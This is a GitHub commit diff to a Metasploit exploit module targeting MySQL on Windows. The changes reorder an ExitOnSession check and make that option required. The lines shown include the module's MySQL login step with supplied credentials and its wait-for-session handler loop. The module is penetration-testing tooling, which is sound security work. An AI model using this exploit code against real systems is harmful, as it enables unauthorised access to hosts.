Skip to content

Commit 911e9dc

Browse files
committed
Made some final touches. Ready for review.
1 parent 7bbdc8c commit 911e9dc

File tree

1 file changed

+5
-6
lines changed

1 file changed

+5
-6
lines changed

modules/exploits/windows/mysql/mysql_start_up.rb

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,7 @@ def initialize(info = {})
5151
])
5252
register_advanced_options(
5353
[
54-
OptBool.new('ExitOnSession', [ false, 'Turn off handler once session is created', true])
54+
OptBool.new('ExitOnSession', [ true, 'Turn off handler once session is created', true])
5555
])
5656
end
5757

@@ -100,6 +100,10 @@ def upload_file(bin, dest)
100100
end
101101

102102
def exploit
103+
if not datastore['ExitOnSession'] and not job_id
104+
fail_with(Exploit::Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
105+
end
106+
103107
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
104108
begin
105109
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
@@ -127,12 +131,7 @@ def exploit
127131
return
128132
end
129133

130-
if not datastore['ExitOnSession'] and not job_id
131-
fail_with(Exploit::Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
132-
end
133-
134134
stime = Time.now.to_f
135-
print_status "Starting the payload handler..."
136135
while(true)
137136
break if session_created? and datastore['ExitOnSession']
138137
break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )

0 commit comments

Comments
 (0)